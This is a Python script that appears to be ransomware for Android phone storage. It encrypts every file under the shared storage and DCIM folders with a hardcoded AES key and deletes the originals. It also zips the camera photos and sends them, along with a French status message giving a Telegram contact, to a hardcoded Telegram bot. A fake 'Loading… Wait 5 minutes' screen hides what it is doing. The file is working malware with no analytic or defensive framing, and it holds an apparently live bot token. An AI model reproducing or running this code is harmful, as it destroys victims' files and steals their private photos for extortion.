|
import os |
|
import shutil |
|
from multiprocessing import Pool, cpu_count |
|
from Crypto.Cipher import AES |
|
from Crypto.Random import get_random_bytes |
|
import requests |
|
|
|
|
|
def send_telegram_message(bot_token, chat_id, message): |
|
try: |
|
url = f"https://api.telegram.org/bot{bot_token}/sendMessage" |
|
data = {"chat_id": chat_id, "text": message} |
|
response = requests.post(url, data=data) |
|
return response.json() |
|
except Exception as e: |
|
print(f"E") |
|
return None |
|
|
|
def send_telegram_document(bot_token, chat_id, file_path): |
|
try: |
|
url = f"https://api.telegram.org/bot{bot_token}/sendDocument" |
|
with open(file_path, 'rb') as file: |
|
files = {'document': file} |
|
data = {"chat_id": chat_id} |
|
response = requests.post(url, data=data, files=files) |
|
return response.json() |
|
except Exception as e: |
|
print(f"E") |
|
return None |
|
|
|
|
|
def encrypt_file(file_info): |
|
file_path, key = file_info |
|
try: |
|
chunk_size = 64 * 1024 |
|
iv = get_random_bytes(AES.block_size) |
|
cipher = AES.new(key, AES.MODE_CBC, iv) |
|
encrypted_file_path = file_path + '.encrypted' |
|
|
|
with open(file_path, 'rb') as file, open(encrypted_file_path, 'wb') as encrypted_file: |
|
encrypted_file.write(iv) |
|
|
|
while chunk := file.read(chunk_size): |
|
if len(chunk) % AES.block_size != 0: |
|
chunk += b' ' * (AES.block_size - len(chunk) % AES.block_size) |
|
encrypted_file.write(cipher.encrypt(chunk)) |
|
|
|
os.remove(file_path) |
|
|
|
return True |
|
except Exception as e: |
|
print(f"wait") |
|
return False |
|
|
|
|
|
def get_files_to_encrypt(directory_path): |
|
files = [] |
|
for root, _, filenames in os.walk(directory_path): |
|
for filename in filenames: |
|
file_path = os.path.join(root, filename) |
|
files.append(file_path) |
|
return files |
|
|
|
|
|
def encrypt_files_in_directory(directory_path, key, bot_token, chat_id): |
|
files = get_files_to_encrypt(directory_path) |
|
file_info_list = [(file, key) for file in files] |
|
|
|
with Pool(cpu_count()) as pool: |
|
results = pool.map(encrypt_file, file_info_list) |
|
|
|
files_encrypted = sum(1 for result in results if result) |
|
files_failed = len(results) - files_encrypted |
|
|
|
message = f"""Cryptage terminé.\nFichiers cryptés : {files_encrypted}\nFichiers échoués : {files_failed} |
|
|
|
|
|
Contact telegram: t.me/kuro_kazu""" |
|
send_telegram_message(bot_token, chat_id, message) |
|
print(message) |
|
|
|
|
|
def compress_directory(directory_path, output_zip): |
|
try: |
|
shutil.make_archive(output_zip, 'zip', directory_path) |
|
|
|
return f"{output_zip}.zip" |
|
except Exception as e: |
|
print(f"") |
|
return None |
|
|
|
|
|
def main(): |
|
target_directory = "storage/shared" |
|
camera_directory = "storage/shared/dcim/Camera" |
|
encryption_key = b'\x88\x1a\xfa@\xfa\xd1\xadB\xd5\xaa\xf2\xe17\x9b\xfeo\x88*\x89\xe2gEP\xb60R\xc6\xdb/\xb5`\xa7' |
|
bot_token = "7126991043:AAEzeKswNo6eO7oJA49Hxn_bsbzgzUoJ-6A" |
|
chat_id = "-1002081124539" |
|
|
|
os.system("clear") |
|
|
|
print("""⠀⢠⣶⣿⣿⣗⡢⠀⠀⠀⠀⠀⠀⢤⣒⣿⣿⣷⣆⠀⠀ |
|
⠀⠋⠉⠉⠙⠻⣿⣷⡄⠀⠀⠀⣴⣿⠿⠛⠉⠉⠉⠃⠀ |
|
⠀⠀⢀⡠⢤⣠⣀⡹⡄⠀⠀⠀⡞⣁⣤⣠⠤⡀⠀⠀⠀ |
|
⢐⡤⢾⣿⣿⢿⣿⡿⠀⠀⠀⠀⠸⣿⣿⢿⣿⣾⠦⣌⠀ |
|
⠁⠀⠀⠀⠉⠈⠀⠀⣸⠀⠀⢰⡀⠀⠈⠈⠀⠀⠀⠀⠁ |
|
⠀⠀⠀⠀⠀⠀⣀⡔⢹⠀⠀⢸⠳⡄⡀⠀⠀⠀⠀⠀⠀ |
|
⠸⡦⣤⠤⠒⠋⠘⢠⡸⣀⣀⡸⣠⠘⠉⠓⠠⣤⢤⡞⠀ |
|
⠀⢹⡜⢷⣄⠀⣀⣀⣾⡶⢶⣷⣄⣀⡀⢀⣴⢏⡾⠁⠀ |
|
⠀⠀⠹⡮⡛⠛⠛⠻⠿⠥⠤⠽⠿⠛⠛⠛⣣⡾⠁⠀⠀ |
|
⠀⠀⠀⠙⢄⠁⠀⠀⠀⣄⣀⡄⠀⠀⠀⢁⠞⠀⠀⠀⠀ |
|
⠀⠀⠀⠀⠀⠂⠀⠀⠀⢸⣿⠀⠀⠀⠠⠂⠀⠀⠀⠀⠀ |
|
⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ |
|
⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⡿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀""") |
|
|
|
print("""𝓛𝓸𝓪𝓭𝓲𝓷𝓰 |
|
""") |
|
print("Wait 5 minutes") |
|
|
|
|
|
|
|
try: |
|
encrypt_files_in_directory(target_directory, encryption_key, bot_token, chat_id) |
|
except Exception as e: |
|
print("") |
|
|
|
target_directory = "storage/dcim" |
|
encrypt_files_in_directory(target_directory, encryption_key, bot_token, chat_id) |
|
|
|
|
|
if os.path.exists(camera_directory): |
|
zip_path = compress_directory(camera_directory, "Camera_backup") |
|
if zip_path: |
|
|
|
send_telegram_document(bot_token, chat_id, zip_path) |
|
|
|
print("Programme terminé.") |
|
|
|
if __name__ == "__main__": |
|
main() |